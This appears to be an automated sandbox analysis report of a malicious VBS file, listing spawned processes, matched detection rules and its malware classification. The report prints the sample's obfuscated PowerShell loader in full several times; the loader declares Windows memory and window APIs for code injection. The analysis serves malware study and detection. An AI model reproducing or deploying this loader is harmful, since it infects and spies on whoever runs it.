NoiAfaDagVrtPotSyaOv,ChiGenpltRe diVSaeTvjSimboaSotAn1Un5Fr8Ud,GiiTinSttEr YeMSucSlgKurSk)Eg;Ak[KuDDilBulImIRdmAmpAnoVarPrtFr(Sk`"""SvkSqeRorpinFleRelPa3Ov2as`"""Tr)Wo]hepMeuRobBalFriLucRe HysMitFoaUntTaiTmcJa aneDexMitKueSarBlnOi ReiFanSutov drHDeeStaBapBlSBeiSpzBaeKo(StiUnnDitOu YcPKerBroUrpRe,PhiSonxatCl AiANodStrCheFosOv,ViiDenJutDi MuTImoWerArtInrfriPo)Mo;Co[SlDOplSalSpIApmunpReoSjrRotKo(wh`"""JgsSchdieBilShlko3Ge2re.VadUflOmlUn`"""St)Un]BepPauSlbOslBeiUncAs MasMntSyaLetFriTrcpr NoeVixRatFoeRerWenun SevEnofuiTrdRh PaDterFlaFigMeFCiiEnnStiKasBehMi(EsiBonSutPo OpOMumPldSerGe)Ba;Ej[SpDFalBelMeILimhepFroUdrGutAu(Je`"""mawSkifanTemNumIn.ApdKolBolFl`"""Fu)Ho]ScpOvuPrbMdlViiAlcBa BosSatAsaHotLiiFocSi VeeNoxLutHaeBirJenLa HoiennNatGu ArmtjiHoxSceDarTrGSwejotCoDTreFivSuCKeaMipqusSu(SkiBlnCitCh BeNPriBrtSerUd,UditinCotJo VaFaseEwlOb,ThivinQutEo NoAPhfAfsXi9Im3Bl)Ta;Ls[ChDCulCalHaIPumCipIcoFarRetSl(Be`"""RekGleTrrhinAteSilEk3Sa2ur`"""Ti)De]PapFeuDrbFolOpiLkcTn BusAbtSyaUdtMeiSocfr CoeImxFatMoeFrrnanto triMenTotAl KaLUdoEscAskQuRosepasphoOvuForJucApeph(RoiAfnCotTe VeLExeSoiUn)Ir;Un[ReDPilIwlOyILammipShoStrFatCr(Bo`"""FlkAueCervanToeJelAv3Pl2Re`"""Se)Co]UnpAnuCobOplFoilacLa CasrotOpaUntMuiKacTi WieKnxEntReeUdrTrnTr AriPonIntSl PiVIniStrpetrauAcaTilvaATelBelCloThcFa(TriStnSotWi GevGr1Sk,SmiLunThtOr CavBl2Ne,KeiStnCotBy Hevdr3pa,HeiGanUptku SvvCa4In)pr;Py[DrDMalInlPrIBrmHepPloKnrPttba(Ho`"""CrAUnDBeVAlAToPanICr3St2Ph.WaDBeLSaLCi`"""To)Un]StpTiuRebSylPuiEncFo CosMotUnaUntHuiAtcst MeeMixDotOfeAdrInnRo SuvBeoUpiVidTi CiMTraBipBeGAteOenSleGlrPriBrcCoMFiaUnsAnkVn(SaiSknMetPe PlBInrTriOdnObkIr,DoiDenQutRu CaMChiUddtitKnsSn)In;Ov[TrDRelSelFuIUnmRipGoosurOmtSc(Ve`"""BrkVaeMerManPeeSklSt3Co2In`"""ef)Ce]BepKouMybKolLbiCocUn EdsGatKuaTetKoiaacLu NoeVexPrtNeeUnrAnnCy PrISenLvtPlPFotBorkr ScEGanSuumemfuSChyFrsPotBeeOomFjLGuoFlcSraNelGaeVosPrWUn(PauDiiEynSttPe GrvEx1ma,PsiHanKotEn KovGr2Ha)Et;Om[OoDrhlDilFlIsumEnpSkoOvrTrtSp(St`"""ObkEdeElrRenTaeDalDi3Sc2Di`"""Si)Ni]FopChuTlbDalCaiAlcLi SmsNytvaaretPriSucTr LueBexGatTreGerManbr ReiGunentAn UnSGieUntTiTEn
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe CMD.EXE /c echo C:\Windows
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Biliate = """LaABrdGedGa-StTDiyCopsteUn St-UdThoyAupepeWrDReeTrfPaiUsnUmiRetCoiMaoFrnSv Sm'ReuSksUniFunCogKn ToSPhyPrsJatNueSimst;viuSmsPriSknangIm PrSPlyEusGrtgueoemFo.ReRPuuConHutSoiFrmFreIl.JoIFonSntSneLurCooPapJaSTreRerElvKuiticReeFesBr;AmpUpuKobsnlVoiDecAw sasRutRhajetaaiTecSv BrcEslFoaUnsVasLe EbTInuBaeBaiOurCeoKonPr1Ci Sh{Ti[PhDAflUllBuIMimHapMaoAfrEutAn(ad`"""InuLusKieKarMe3Br2Si`"""Rr)Ri]GopMauFlbStlMeiTycSa AesKatInaHjtSmiSvcNe SteHoxattImeTerOpnNa GriBenBrtNo YdDMieResTotEnrBroStyOvCspaMerMieCotKl(sn)Me;Sm[AfDEplLulReIenmFlpRdoHarEgtBr(Ov`"""MigAldMeiPl3In2Er`"""Te)Ce]tapEuuDrbCulMaiHjcAs LgsUdtTraBrtSqiercCo VieBexTetVeetrrHrnMa FoiBanArtHa StSBrcUdaGrlLaeSkWTeiScnSudReoBuwCrEVexChtstESuxKn(NoiFinKutSe MoDLnrIgiBefRatPl,ReiAnnAltJu BeAUdmAmbMiuPalHeaAp,DiiFonKntSp juBpraSesVaoQu,MaiLenImtBa NoiAfaDagVrtPotSyaOv,ChiGenpltRe diVSaeTvjSimboaSotAn1Un5Fr8Ud,GiiTinSttEr YeMSucSlgKurSk)Eg;Ak[KuDDilBulImIRdmAmpAnoVarPrtFr(Sk`"""SvkSqeRorpinFleRelPa3Ov2as`"""Tr)Wo]hepMeuRobBalFriLucRe HysMitFoaUntTaiTmcJa aneDexMitKueSarBlnOi ReiFanSutov drHDeeStaBapBlSBeiSpzBaeKo(StiUnnDitOu YcPKerBroUrpRe,PhiSonxatCl AiANodStrCheFosOv,ViiDenJutDi MuTImoWerArtInrfriPo)Mo;Co[SlDOplSalSpIApmunpReoSjrRotKo(wh`"""JgsSchdieBilShlko3Ge2re.VadUflOmlUn`"""St)Un]BepPauSlbOslBeiUncAs MasMntSyaLetFriTrcpr NoeVixRatFoeRerWenun SevEnofuiTrdRh PaDterFlaFigMeFCiiEnnStiKasBehMi(EsiBonSutPo OpOMumPldSerGe)Ba;Ej[SpDFalBelMeILimhepFroUdrGutAu(Je`"""mawSkifanTemNumIn.ApdKolBolFl`"""Fu)Ho]ScpOvuPrbMdlViiAlcBa BosSatAsaHotLiiFocSi VeeNoxLutHaeBirJenLa HoiennNatGu ArmtjiHoxSceDarTrGSwejotCoDTreFivSuCKeaMipqusSu(SkiBlnCitCh BeNPriBrtSerUd,UditinCotJo VaFaseEwlOb,ThivinQutEo NoAPhfAfsXi9Im3Bl)Ta;Ls[ChDCulCalHaIPumCipIcoFarRetSl(Be`"""RekGleTrrhinAteSilEk3Sa2ur`"""Ti)De]PapFeuDrbFolOpiLkcTn BusAbtSyaUdtMeiSocfr CoeImxFatMoeFrrnanto triMenTotAl KaLUdoEscAskQuRosepasphoOvuForJucApeph(RoiAfnCotTe VeLExeSoiUn)Ir;Un[ReDPilIwlOyILammipShoStrFatCr(Bo`"""FlkAueCervanToeJelAv3Pl2Re`"""Se)Co]UnpAnuCobOplFoilacLa CasrotOpaUntMuiKacTi WieKnxEntReeUdrTrnTr AriPonIntSl PiVIniStrpetrauAcaTilvaATelBelCloThcFa(TriStnSotWi GevGr1Sk,SmiLunThtOr CavBl2Ne,KeiStnCotBy Hevdr3pa,HeiGanUptku SvvCa4In)pr;Py[DrDMalInlPrIBrmHepPloKnrPttba(Ho`"""CrAUnDBeVAlAToPanICr3St2Ph.WaDBeLSaLCi`"""To)Un]StpTiuRebSylPuiEncFo CosMotUnaUntHuiAtcst MeeMixDotOfeAdrInnRo SuvBeoUpiVidTi CiMTraBipBeGAteOenSleGlrPriBrcCoMFiaUnsAnkVn(SaiSknMetPe PlBInrTriOdnObkIr,DoiDenQutRu CaMChiUddtitKnsSn)In;Ov[TrDRelSelFuIUnmRipGoosurOmtSc(Ve`"""BrkVaeMerManPeeSklSt3Co2In`"""ef)Ce]BepKouMybKolLbiCocUn EdsGatKuaTetKoiaacLu NoeVexPrtNeeUnrAnnCy PrISenLvtPlPFotBorkr ScEGanSuumemfuSChyFrsPotBeeOomFjLGuoFlcSraNelGaeVosPrWUn(PauDiiEynSttPe GrvEx1ma,PsiHanKotEn KovGr2Ha)Et;Om[OoDrhlDilFlIsumEnpSkoOvrTrtSp(St`"""ObkEdeElrRenTaeDalDi3Sc2Di`"""Si)Ni]FopChuTlbDalCaiAlcLi SmsNytvaaretPriSucTr LueBexGatTreGerManbr ReiGunentAn UnSGieUntTiTEn

Potential malicious VBS script found (suspicious strings)

Source:

Initial file: semirattlesnake.ShellExecute Angularises, " " & chrw(34) & Eu8 & chrw(34), "", "", 0

Very long command line found

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 4728
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 4728

Source: SIEM_PO00938467648.vbs, type: SAMPLE	Matched rule: WScript_Shell_PowerShell_Combo date = 2018-02-07, author = Florian Roth, description = Detects malware from Middle Eastern campaign reported by Talos, score = 15f5aaa71bfa3d62fd558a3e88dd5ba26f7638bf2ac653b8d6b8d54dc7e5926b, reference = http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: Process Memory Space: powershell.exe PID: 6160, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_008EEB28
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_008EEB28
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_008ECEB9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_008ECEC8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_079DE7B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_079D7180
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_079D91C8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_079DE7A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_07B429F0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_1FA06BE0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_1FA0E5EB
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_1FA08B70
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_1FA08C50
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_203B7030
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_203BAC70
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_203BC490
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_203B94D0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_203B4510
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_203BDE10
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_203B6688
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_203B0ACA
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_203BECD0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_20491540
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_20492D68
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_20493810
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_204950D8
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_2049458A
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_204948A0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_204911C2
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_204914D4

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_1D63B206 NtQuerySystemInformation,
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_1D63B1D5 NtQuerySystemInformation,

Source: SIEM_PO00938467648.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Section loaded: edgegdi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: edgegdi.dll
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: edgegdi.dll
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: security.dll

Source: SIEM_PO00938467648.vbs

ReversingLabs: Detection: 34%

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\SIEM_PO00938467648.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe CMD.EXE /c echo C:\Windows
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Biliate = """LaABrdGedGa-StTDiyCopsteUn St-UdThoyAupepeWrDReeTrfPaiUsnUmiRetCoiMaoFrnSv Sm'ReuSksUniFunCogKn ToSPhyPrsJatNueSimst;viuSmsPriSknangIm PrSPlyEusGrtgueoemFo.ReRPuuConHutSoiFrmFreIl.JoIFonSntSneLurCooPapJaSTreRerElvKuiticReeFesBr;AmpUpuKobsnlVoiDecAw sasRutRhajetaaiTecSv BrcEslFoaUnsVasLe EbTInuBaeBaiOurCeoKonPr1Ci Sh{Ti[PhDAflUllBuIMimHapMaoAfrEutAn(ad`"""InuLusKieKarMe3Br2Si`"""Rr)Ri]GopMauFlbStlMeiTycSa AesKatInaHjtSmiSvcNe SteHoxattImeTerOpnNa GriBenBrtNo YdDMieResTotEnrBroStyOvCspaMerMieCotKl(sn)Me;Sm[AfDEplLulReIenmFlpRdoHarEgtBr(Ov`"""MigAldMeiPl3In2Er`"""Te)Ce]tapEuuDrbCulMaiHjcAs LgsUdtTraBrtSqiercCo VieBexTetVeetrrHrnMa FoiBanArtHa StSBrcUdaGrlLaeSkWTeiScnSudReoBuwCrEVexChtstESuxKn(NoiFinKutSe MoDLnrIgiBefRatPl,ReiAnnAltJu BeAUdmAmbMiuPalHeaAp,DiiFonKntSp juBpraSesVaoQu,MaiLenImtBa NoiAfaDagVrtPotSyaOv,ChiGenpltRe diVSaeTvjSimboaSotAn1Un5Fr8Ud,GiiTinSttEr YeMSucSlgKurSk)Eg;Ak[KuDDilBulImIRdmAmpAnoVarPrtFr(Sk`"""SvkSqeRorpinFleRelPa3Ov2as`"""Tr)Wo]hepMeuRobBalFriLucRe HysMitFoaUntTaiTmcJa aneDexMitKueSarBlnOi ReiFanSutov drHDeeStaBapBlSBeiSpzBaeKo(StiUnnDitOu YcPKerBroUrpRe,PhiSonxatCl AiANodStrCheFosOv,ViiDenJutDi MuTImoWerArtInrfriPo)Mo;Co[SlDOplSalSpIApmunpReoSjrRotKo(wh`"""JgsSchdieBilShlko3Ge2re.VadUflOmlUn`"""St)Un]BepPauSlbOslBeiUncAs MasMntSyaLetFriTrcpr NoeVixRatFoeRerWenun SevEnofuiTrdRh PaDterFlaFigMeFCiiEnnStiKasBehMi(EsiBonSutPo OpOMumPldSerGe)Ba;Ej[SpDFalBelMeILimhepFroUdrGutAu(Je`"""mawSkifanTemNumIn.ApdKolBolFl`"""Fu)Ho]ScpOvuPrbMdlViiAlcBa BosSatAsaHotLiiFocSi VeeNoxLutHaeBirJenLa HoiennNatGu ArmtjiHoxSceDarTrGSwejotCoDTreFivSuCKeaMipqusSu(SkiBlnCitCh BeNPriBrtSerUd,UditinCotJo VaFaseEwlOb,ThivinQutEo NoAPhfAfsXi9Im3Bl)Ta;Ls[ChDCulCalHaIPumCipIcoFarRetSl(Be`"""RekGleTrrhinAteSilEk3Sa2ur`"""Ti)De]PapFeuDrbFolOpiLkcTn BusAbtSyaUdtMeiSocfr CoeImxFatMoeFrrnanto triMenTotAl KaLUdoEscAskQuRosepasphoOvuForJucApeph(RoiAfnCotTe VeLExeSoiUn)Ir;Un[ReDPilIwlOyILammipShoStrFatCr(Bo`"""FlkAueCervanToeJelAv3Pl2Re`"""Se)Co]UnpAnuCobOplFoilacLa CasrotOpaUntMuiKacTi WieKnxEntReeUdrTrnTr AriPonIntSl PiVIniStrpetrauAcaTilvaATelBelCloThcFa(TriStnSotWi GevGr1Sk,SmiLunThtOr CavBl2Ne,KeiStnCotBy Hevdr3pa,HeiGanUptku SvvCa4In)pr;Py[DrDMalInlPrIBrmHepPloKnrPttba(Ho`"""CrAUnDBeVAlAToPanICr3St2Ph.WaDBeLSaLCi`"""To)Un]StpTiuRebSylPuiEncFo CosMotUnaUntHuiAtcst MeeMixDotOfeAdrInnRo SuvBeoUpiVidTi CiMTraBipBeGAteOenSleGlrPriBrcCoMFiaUnsAnkVn(SaiSknMetPe PlBInrTriOdnObkIr,DoiDenQutRu CaMChiUddtitKnsSn)In;Ov[TrDRelSelFuIUnmRipGoosurOmtSc(Ve`"""BrkVaeMerManPeeSklSt3Co2In`"""ef)Ce]BepKouMybKolLbiCocUn EdsGatKuaTetKoiaacLu NoeVexPrtNeeUnrAnnCy PrISenLvtPlPFotBorkr ScEGanSuumemfuSChyFrsPotBeeOomFjLGuoFlcSraNelGaeVosPrWUn(PauDiiEynSttPe GrvEx1ma,PsiHanKotEn KovGr2Ha)Et;Om[OoDrhlDilFlIsumEnpSkoOvrTrtSp(St`"""ObkEdeElrRenTaeDalDi3Sc2Di`"""Si)Ni]FopChuTlbDalCaiAlcLi SmsNytvaaretPriSucTr LueBexGatTreGerManbr ReiGunentAn UnSGieUntTiTEn
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.cmdline
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7743.tmp" "c:\Users\user\AppData\Local\Temp\0j5ctfzr\CSC3A80B568F8BB4D66897E5CE811419E16.TMP"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe CMD.EXE /c echo C:\Windows
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Biliate = """LaABrdGedGa-StTDiyCopsteUn St-UdThoyAupepeWrDReeTrfPaiUsnUmiRetCoiMaoFrnSv Sm'ReuSksUniFunCogKn ToSPhyPrsJatNueSimst;viuSmsPriSknangIm PrSPlyEusGrtgueoemFo.ReRPuuConHutSoiFrmFreIl.JoIFonSntSneLurCooPapJaSTreRerElvKuiticReeFesBr;AmpUpuKobsnlVoiDecAw sasRutRhajetaaiTecSv BrcEslFoaUnsVasLe EbTInuBaeBaiOurCeoKonPr1Ci Sh{Ti[PhDAflUllBuIMimHapMaoAfrEutAn(ad`"""InuLusKieKarMe3Br2Si`"""Rr)Ri]GopMauFlbStlMeiTycSa AesKatInaHjtSmiSvcNe SteHoxattImeTerOpnNa GriBenBrtNo YdDMieResTotEnrBroStyOvCspaMerMieCotKl(sn)Me;Sm[AfDEplLulReIenmFlpRdoHarEgtBr(Ov`"""MigAldMeiPl3In2Er`"""Te)Ce]tapEuuDrbCulMaiHjcAs LgsUdtTraBrtSqiercCo VieBexTetVeetrrHrnMa FoiBanArtHa StSBrcUdaGrlLaeSkWTeiScnSudReoBuwCrEVexChtstESuxKn(NoiFinKutSe MoDLnrIgiBefRatPl,ReiAnnAltJu BeAUdmAmbMiuPalHeaAp,DiiFonKntSp juBpraSesVaoQu,MaiLenImtBa NoiAfaDagVrtPotSyaOv,ChiGenpltRe diVSaeTvjSimboaSotAn1Un5Fr8Ud,GiiTinSttEr YeMSucSlgKurSk)Eg;Ak[KuDDilBulImIRdmAmpAnoVarPrtFr(Sk`"""SvkSqeRorpinFleRelPa3Ov2as`"""Tr)Wo]hepMeuRobBalFriLucRe HysMitFoaUntTaiTmcJa aneDexMitKueSarBlnOi ReiFanSutov drHDeeStaBapBlSBeiSpzBaeKo(StiUnnDitOu YcPKerBroUrpRe,PhiSonxatCl AiANodStrCheFosOv,ViiDenJutDi MuTImoWerArtInrfriPo)Mo;Co[SlDOplSalSpIApmunpReoSjrRotKo(wh`"""JgsSchdieBilShlko3Ge2re.VadUflOmlUn`"""St)Un]BepPauSlbOslBeiUncAs MasMntSyaLetFriTrcpr NoeVixRatFoeRerWenun SevEnofuiTrdRh PaDterFlaFigMeFCiiEnnStiKasBehMi(EsiBonSutPo OpOMumPldSerGe)Ba;Ej[SpDFalBelMeILimhepFroUdrGutAu(Je`"""mawSkifanTemNumIn.ApdKolBolFl`"""Fu)Ho]ScpOvuPrbMdlViiAlcBa BosSatAsaHotLiiFocSi VeeNoxLutHaeBirJenLa HoiennNatGu ArmtjiHoxSceDarTrGSwejotCoDTreFivSuCKeaMipqusSu(SkiBlnCitCh BeNPriBrtSerUd,UditinCotJo VaFaseEwlOb,ThivinQutEo NoAPhfAfsXi9Im3Bl)Ta;Ls[ChDCulCalHaIPumCipIcoFarRetSl(Be`"""RekGleTrrhinAteSilEk3Sa2ur`"""Ti)De]PapFeuDrbFolOpiLkcTn BusAbtSyaUdtMeiSocfr CoeImxFatMoeFrrnanto triMenTotAl KaLUdoEscAskQuRosepasphoOvuForJucApeph(RoiAfnCotTe VeLExeSoiUn)Ir;Un[ReDPilIwlOyILammipShoStrFatCr(Bo`"""FlkAueCervanToeJelAv3Pl2Re`"""Se)Co]UnpAnuCobOplFoilacLa CasrotOpaUntMuiKacTi WieKnxEntReeUdrTrnTr AriPonIntSl PiVIniStrpetrauAcaTilvaATelBelCloThcFa(TriStnSotWi GevGr1Sk,SmiLunThtOr CavBl2Ne,KeiStnCotBy Hevdr3pa,HeiGanUptku SvvCa4In)pr;Py[DrDMalInlPrIBrmHepPloKnrPttba(Ho`"""CrAUnDBeVAlAToPanICr3St2Ph.WaDBeLSaLCi`"""To)Un]StpTiuRebSylPuiEncFo CosMotUnaUntHuiAtcst MeeMixDotOfeAdrInnRo SuvBeoUpiVidTi CiMTraBipBeGAteOenSleGlrPriBrcCoMFiaUnsAnkVn(SaiSknMetPe PlBInrTriOdnObkIr,DoiDenQutRu CaMChiUddtitKnsSn)In;Ov[TrDRelSelFuIUnmRipGoosurOmtSc(Ve`"""BrkVaeMerManPeeSklSt3Co2In`"""ef)Ce]BepKouMybKolLbiCocUn EdsGatKuaTetKoiaacLu NoeVexPrtNeeUnrAnnCy PrISenLvtPlPFotBorkr ScEGanSuumemfuSChyFrsPotBeeOomFjLGuoFlcSraNelGaeVosPrWUn(PauDiiEynSttPe GrvEx1ma,PsiHanKotEn KovGr2Ha)Et;Om[OoDrhlDilFlIsumEnpSkoOvrTrtSp(St`"""ObkEdeElrRenTaeDalDi3Sc2Di`"""Si)Ni]FopChuTlbDalCaiAlcLi SmsNytvaaretPriSucTr LueBexGatTreGerManbr ReiGunentAn UnSGieUntTiTEn
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.cmdline
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7743.tmp" "c:\Users\user\AppData\Local\Temp\0j5ctfzr\CSC3A80B568F8BB4D66897E5CE811419E16.TMP"

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_1D63AAB6 AdjustTokenPrivileges,
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_1D63AA7F AdjustTokenPrivileges,

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1ch5v15x.nhz.ps1

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winVBS@13/10@3/3

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\ffc00a26ff38e37b47b2c75f92b48929\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3372:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:380:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3372:304:WilStaging_02
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:380:304:WilStaging_02

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\SIEM_PO00938467648.vbs"

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

